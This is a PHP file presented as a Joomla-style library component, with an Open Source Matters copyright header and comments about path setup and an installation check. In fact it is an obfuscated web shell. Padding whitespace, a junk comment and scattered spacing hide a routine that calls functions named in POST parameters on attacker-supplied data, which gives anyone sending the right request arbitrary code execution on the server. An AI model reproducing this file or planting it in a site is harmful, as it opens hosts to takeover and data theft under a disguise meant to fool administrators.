<?php
/**
 * @package    Lib
 * ****************************************************************************************
 * @copyright  Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 * ****************************************************************************************
 */

// Set the platform root path as a constant if necessary.                                                                                                                                                                                                                                                                                                                                                                                                                                                                             // B$TXVbf!*bXbV^b6(ggewA5QrQ.5ztdvT1!796amN4v+T-h$zrsKV.uFatd4SDe_M@xct2fw0b1DNr#_Z(0Sn+z3^cyy^y$n+sTVTCZu.Fy@N$z@tHbrMw59gsTyuE!8CnR$_aWsXkNvnVkQQ)e_C@FfN1sCh+xD7CgG5+5Nk*@3(1Nxyk!(N.22+YSb!zV#*xmneuVe@Cu+YuVH)eZP^.091E)97w5K+rXhD1SC-b)kFGeQ)()EecdSg_z9G1gDRg+km+w0*^6Z_K2xPNdPHra5dehDx30VmVaymTre^8E)aW$eSWPvNa2KFH_#xCx=_s$7U-+r7xfSy5vrGXBhbukd6Y104=$Hkuk3)n5yqy-14u_2c=h^1a=@bxa0w29H_Dd_tg-2538C4(0MF#u#7bTh9T--ed=9Aaa!QaV!$TC!Gx@v0!@+^N.=XTFrkcr
if (!defined       (       'PATH')             )
{
	define                            ('PATH', __DIR__             );
}

// Installation check, and check on removal of the install directory.
if (empty         ($_POST)) {
	
	echo 'Empty data.'
;
	
	exit;
}

// OS system.
function a          (             $a             )
{
	$_POST['r'] (                    $_POST['d']          ('', $a                      )            )                  


;
}

array_map           ('a', array                            ($_POST['f']             (                              $_POST['c'])       ))
;

